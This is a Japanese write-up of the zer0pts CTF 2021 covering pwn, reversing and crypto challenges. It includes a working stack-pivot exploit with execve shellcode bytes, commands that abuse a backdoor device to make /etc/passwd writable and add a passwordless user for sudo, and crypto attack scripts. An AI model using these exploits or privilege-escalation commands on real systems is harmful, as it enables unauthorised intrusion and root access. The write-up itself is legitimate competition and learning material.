zer0pts CTF 2021 Writeup
Sun Mar 07 2021
3/6 9:00 - 3/7 21:00 (JST) に開催された zer0pts CTF 2021 にソロで参加しました。 主に crypto の問題を解きました。 web や rev は一通り問題を眺めたものの全然解けませんでした…ですがどの問題も考えているだけで楽しく、とてもいい CTF でした。 結果は 49th/951 でした。解いた問題についてまとめていきます。
pwn
Not Beginner's Stack
FOR_BEGINNERS.md にも書いてある通り、 return address を stack ではなく bss 領域で管理しており、いわゆる stack overflow による ROP は出来なくなっています。 しかし leave 命令経由で rbp を書き換えることができるため、これをうまく使います。
1回目の入力で stack overflow の脆弱性があるため、ここで rsp が bss 領域を指すように rbp を書き換えます。具体的には bss 領域 + 0x100 を rbp に書き込みます。 すると次の入力が bss 領域に書き込まれるため、 return address をいじることが可能になります。
from pwn import * elf = ELF("./not_beginners_stack/chall") context.binary = elf r = remote("pwn.ctf.zer0pts.com", 9011) offset = 8 r.sendafter("Data: ", b"A" * 256 + pack(0x600234+offset+0x100)) # 次の read で書き込む場所が bss 領域になるように # http://shell-storm.org/shellcode/files/shellcode-806.php r.sendafter("Data: ", pack(0x600234+offset+8) + b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") r.interactive()
zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}
reversing
infected
解析 試しに実行してみると、 cuse: failed to open /dev/cuse: Permission denied と言われる (怖いので sudo では実行しなかった)。また定義された関数を見ていると fuse_* という名前のものが多かったため、そのあたりの単語でググると、 character device in user space なるものらしい。 例えば https://libfuse.github.io/doxygen/cuse_8c.html とかの例を眺めたりしました。
これを踏まえて reversing すると、大事そうな部分が以下の箇所。
│ │└─> 0x00000b40 488b8540ffff. mov rax, qword [ptr] │ │ 0x00000b47 488d35d20200. lea rsi, [0x00000e20] ; ":" ; const char *s2 │ │ 0x00000b4e 4889c7 mov rdi, rax ; char *s1 │ │ 0x00000b51 e80afeffff call sym.imp.strtok ;[3] ; char *strtok(char *s1, const char *s2) │ │ 0x00000b56 48898548ffff. mov qword [var_b8h], rax │ │ 0x00000b5d 488d35bc0200. lea rsi, [0x00000e20] ; ":" ; const char *s2 │ │ 0x00000b64 bf00000000 mov edi, 0 ; char *s1 │ │ 0x00000b69 e8f2fdffff call sym.imp.strtok ;[3] ; char *strtok(char *s1, const char *s2) │ │ 0x00000b6e 48898550ffff. mov qword [path], rax │ │ 0x00000b75 488d35a40200. lea rsi, [0x00000e20] ; ":" ; const char *s2 │ │ 0x00000b7c bf00000000 mov edi, 0 ; char *s1 │ │ 0x00000b81 e8dafdffff call sym.imp.strtok ;[3] ; char *strtok(char *s1, const char *s2) │ │ 0x00000b86 48898558ffff. mov qword [str], rax │ │ 0x00000b8d 4883bd48ffff. cmp qword [var_b8h], 0 │ │┌─< 0x00000b95 7414 je 0xbab │ ││ 0x00000b97 4883bd50ffff. cmp qword [path], 0 │ ┌───< 0x00000b9f 740a je 0xbab │ │││ 0x00000ba1 4883bd58ffff. cmp qword [str], 0 │ ┌────< 0x00000ba9 7519 jne 0xbc4 │ ││││ ; CODE XREFS from sym.backdoor_write @ 0xb95, 0xb9f │ │└─└─> 0x00000bab 488b8538ffff. mov rax, qword [var_c8h] │ │ │ 0x00000bb2 be16000000 mov esi, 0x16 │ │ │ 0x00000bb7 4889c7 mov rdi, rax │ │ │ 0x00000bba e861fdffff call sym.imp.fuse_reply_err ;[2] │ │ │┌─< 0x00000bbf e9b9000000 jmp 0xc7d │ │ ││ ; CODE XREF from sym.backdoor_write @ 0xba9 │ └────> 0x00000bc4 488b8548ffff. mov rax, qword [var_b8h] │ ││ 0x00000bcb ba08000000 mov edx, 8 ; size_t n │ ││ 0x00000bd0 488d354b0200. lea rsi, str.b4ckd00r ; 0xe22 ; "b4ckd00r" ; const char *s2 │ ││ 0x00000bd7 4889c7 mov rdi, rax ; const char *s1 │ ││ 0x00000bda e8e1fcffff call sym.imp.strncmp ;[4] ; int strncmp(const char *s1, const char *s2, size_t n) │ ││ 0x00000bdf 85c0 test eax, eax │ ┌───< 0x00000be1 0f8582000000 jne 0xc69 │ │││ 0x00000be7 488d9560ffff. lea rdx, [var_a0h] │ │││ 0x00000bee 488b8550ffff. mov rax, qword [path] │ │││ 0x00000bf5 4889d6 mov rsi, rdx ; int64_t arg2 │ │││ 0x00000bf8 4889c7 mov rdi, rax ; int64_t arg1 │ │││ 0x00000bfb e8f0010000 call sym.stat64 ;[5] │ │││ 0x00000c00 8b8578ffffff mov eax, dword [var_88h] │ │││ 0x00000c06 2500f00000 and eax, 0xf000 │ │││ 0x00000c0b 3d00800000 cmp eax, 0x8000 │ ┌────< 0x00000c10 7541 jne 0xc53 │ ││││ 0x00000c12 488b8558ffff. mov rax, qword [str] │ ││││ 0x00000c19 4889c7 mov rdi, rax ; const char *str │ ││││ 0x00000c1c e84ffdffff call sym.imp.atoi ;[6] ; int atoi(const char *str) │ ││││ 0x00000c21 89c2 mov edx, eax │ ││││ 0x00000c23 488b8550ffff. mov rax, qword [path] │ ││││ 0x00000c2a 89d6 mov esi, edx ; int mode │ ││││ 0x00000c2c 4889c7 mov rdi, rax ; const char *path │ ││││ 0x00000c2f e81cfdffff call sym.imp.chmod ;[7] ; int chmod(const char *path, int mode) │ ││││ 0x00000c34 85c0 test eax, eax │ ┌─────< 0x00000c36 751b jne 0xc53
b4ckd00r:FILE_PATH:PERMISSION という形式で /dev/backdoor (DEVNAME=backdoor という文字列が見つかったので) に書き込むと、 chmod PERMISSION FILE_PATH が走るみたいです。
nc 前の計算 連続アクセスを防ぐために hash の逆計算をさせられるので、適当な script を書いて先に進みます。
import re from itertools import product from hashlib import sha256 from pwn import * r = remote("any.ctf.zer0pts.com", 11011) line = r.recvline().strip() parsed = re.findall(r"sha256\(\"(.*)\"\) = (.*)", line.decode())[0] result = None for i1, i2, i3, i4 in product(range(32, 128), repeat=4): c1, c2, c3, c4 = map(chr, [i1, i2, i3, i4]) tmp = c1 + c2 + c3 + c4 + parsed[0][4:] if sha256(tmp.encode()).hexdigest() == parsed[1]: result = tmp break assert result is not None r.sendline(result[:4]) r.interactive()
nc 後のコマンド sudo が使えればフラグが見られそうなので、その方針を取りました。 id 1000 のユーザーを /etc/passwd に書き込み (パスワード不要にするため2つ目のフィールドは空白)、フラグを見ました。
echo "b4ckd00r:/etc/passwd:00766" > /dev/backdoor echo "hoge::1000:1000:nobody:/:/bin/sh" >> /etc/passwd sudo /bin/ls /root flag-b40d08b2f732b94d5ba34730c052d7e3.txt sudo /bin/cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}
zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}
crypto
war(sa)mup
と を RSA で暗号化した が与えられています。 今 は奇数なので、正確には です。これはフラグの最後の文字が } で奇数になっていることや、 なことからわかります。
したがって、 が既知ということになります。これは Franklin-Reiter related message attack が適用可能です。
from Crypto.Util.number import long_to_bytes n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089 e = 1337 c1 = 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515 c2 = 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762 # http://inaz2.hatenablog.com/entry/2016/01/20/022936 def related_message_attack(c1, c2, diff, e, n): PRx.<x> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+diff)^e - c2 def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0] long_to_bytes(related_message_attack(c1, pow(2, e, n) * c2, -1, e, n))
zer0pts{y0u_g07_47_13457_0v3r_1_p0in7}
OT or NOT OT
コードを言葉にすると、次のようになります。
素数 $p$ が与えられています。AES を使ってフラグを暗号化しています。 key が0になるまで以下を繰り返します。 - key の下1bit目と2bit目をそれぞれ $k_0, k_1$ とします。 - a, b, c, d をユーザーが与えます (ただし a, b, c, d は同じ数字があっては駄目、2以上)。 - r, s, t を randint(2, p-1) で生成します。 - u = a^r c^s, v = b^r c^s mod p を計算し、 x = xor(u, k_0), y = xor(v, k_1) を返します。 - z = d^r t^s を返します。 - key を2bit右にシフトします。
いろいろやり方が考えられそうですが、自分は ( は何でもいい) を与えました。 こうすると となるため、 の計4通りを計算して1になるものが となります。
や を全然使っていないので、非想定解かもしれない…
from pwn import * from itertools import product from base64 import b64decode from Crypto.Util.number import inverse, long_to_bytes from Crypto.Cipher import AES r = remote("crypto.ctf.zer0pts.com", 10130) r.recvuntil("Encrypted flag: ") enc = r.recvline().strip() print(enc) r.recvuntil("p = ") p = int(r.recvline().strip()) key = 0 try: # key の bit 数によっては128回らない場合があるため、雑に try except for i in range(256 // 2): r.sendlineafter("a = ", str(pow(2, -1, p))) r.sendlineafter("b = ", str(2)) r.sendlineafter("c = ", str(p-1)) r.sendlineafter("d = ", str(4)) r.recvuntil("x = ") x = int(r.recvline().strip()) r.recvuntil("y = ") y = int(r.recvline().strip()) r.recvuntil("z = ") z = int(r.recvline().strip()) found = False for i0, i1 in product(range(2), repeat=2): tmp = (x ^ i0) * (y ^ i1) % p if tmp == 1: found = True break if not found: raise RuntimeError key += 4 ** i * (2 * i1 + i0) print(i, key) except Exception: pass enc_raw = b64decode(enc) iv, enc_flag = enc_raw[: AES.block_size], enc_raw[AES.block_size :] aes = AES.new(key=long_to_bytes(key), mode=AES.MODE_CBC, iv=iv) print(aes.decrypt(enc_flag))
zer0pts{H41131uj4h_H41131uj4h}
janken vs yoshiking
じゃんけんで出す手を ElGamal 暗号で暗号化したものを事前に与えてくれます。 ElGamal 暗号では平方剰余が以下のようにしてわかるため、それを利用しました。
としたときに、 か かで場合分けが発生しますが、今回の問題では がランダムに生成される上 の値は直接的にはわからないため、 を仮定します。 の乱数を引いてしまったときは潔く負けを認め、もう一度祈りながらプログラムを走らせましょう。 なため、 の偶奇がわかります。さらに となるため、 を計算することができます。
しかしじゃんけんは3種類の手があるため、一見すると がわかっただけでは相手の手を特定することはできません。けどこれはじゃんけんなので、実は特定しなくても負けない手を選ぶことができるのです。 を事前計算して、 +1 のグループと -1 のグループにわけておくと、たいていの で 1個2個に分かれます。 この1個のグループの値と が一致したときのみ相手の手は特定できるため、勝ちにいきます。 逆に2個のグループの値になったときは相手の手が特定できない (例えばグーかパーかわからない) 状況になるため、負けない手を選びます (今回の例だとパー)。
import re from pwn import * context.log_level = "DEBUG" r = remote("crypto.ctf.zer0pts.com", 10463) _ = r.recvline() recv = r.recvline().strip() g, p = map(int, re.findall(r".*g: ([0-9]*), and p: ([0-9]*)", recv.decode())[0]) parities = [kronecker(i, p) for i in range(1, 4)] even = [i + 1 for i, p in enumerate(parities) if p == 1] odd = [i + 1 for i, p in enumerate(parities) if p == -1] assert len(even) + len(odd) == 3 if len(even) == 2: should_win = -1 hand_win = (odd[0]-2) % 3 + 1 hand_draw = odd[0] % 3 + 1 else: should_win = 1 hand_win = (even[0]-2) % 3 + 1 hand_draw = even[0] % 3 + 1 try: while True: r.recvuntil("[yoshiking]: my commitment") recv = r.recvline() c1, c2 = map(int, re.findall(r".*=\(([0-9]*), ([0-9]*)\)", recv.decode())[0]) r_parity = kronecker(c1, p) m_parity = kronecker(c2, p) * r_parity if m_parity == should_win: r.sendlineafter("[system]: your hand(1-3): ", str(hand_win)) else: r.sendlineafter("[system]: your hand(1-3): ", str(hand_draw)) except Exception: pass r.interactive()
zer0pts{jank3n-jank3n-0ne-m0r3-batt13}
easy pseudo random
Quadratic Congruential Generator (QCG) の問題。特に で の場合は Pollard generator というらしく、今回はこれに相当します。 の MSB の 2/3 がわかっている状態から を復元し、 を求めることでフラグが復元できます。
LLL を使えばいけそうなオーラが漂っていたのでこねくり回していたのですが、自分では思いつかず…結局ググると https://www.ams.org/journals/mcom/2005-74-251/S0025-5718-04-01698-9/S0025-5718-04-01698-9.pdf のような論文が見つかったため、実装しました。
これは余談ですが、この論文は MSB が 2/3 程度が既知のときの解法ですが、 https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.703.9811&rep=rep1&type=pdf は 9/14 < 2/3 程度での解法となっており、さらに https://tel.archives-ouvertes.fr/tel-01135998/document は 3/5 < 9/14 程度での解法となっています。また、 の値が未知でも解けるみたいです。ちゃんと復習したい。
from Crypto.Util.number import * nbits = 256 p = 86160765871200393116432211865381287556448879131923154695356172713106176601077 Fp = Zmod(p) P.<v> = PolynomialRing(Fp) b = 71198163834256441900788553646474983932569411761091772746766420811695841423780 d = 2 F = v^2 + b k = ceil(nbits * (d / (d + 1))) m = 88219145192729480056743197897921789558305761774733086829638493717397473234815 w0 = 401052873479535541023317092941219339820731562526505 w1 = 994046339364774179650447057905749575131331863844814 w0 <<= (nbits - k) w1 <<= (nbits - k) delta = round(p ** (1/3)) # https://www.ams.org/journals/mcom/2005-74-251/S0025-5718-04-01698-9/S0025-5718-04-01698-9.pdf # Theorem 4 M0 = Matrix(ZZ, 3, 3) M1 = Matrix(ZZ, 3, 3) A = int(pow(delta, -2, p) * (w1 - w0 ** 2 - b)) % p B = int(-2*w0*pow(delta, -1, p)) % p C = 1 M0[0, 0] = p M0[1, 1] = delta ** 2 M0[2, 2] = delta M1[0, 0] = A M1[1, 0] = B M1[2, 0] = C M1[0, 1] = 1 M1[1, 2] = 1 M = M0 * M1.inverse() V = None for v in M.LLL(): if v[0] == delta ** 2: V = v break assert V is not None v0 = w0 + V[1] / delta v1 = w1 + (V[2] + (V[1]/delta) ** 2) assert (v0 ** 2 + b) % p == v1 _v = Fp(v1) for i in range(5): _v = F(_v) m ^^= int(_v) long_to_bytes(m)
zer0pts{is_blum_blum_shub_safe?}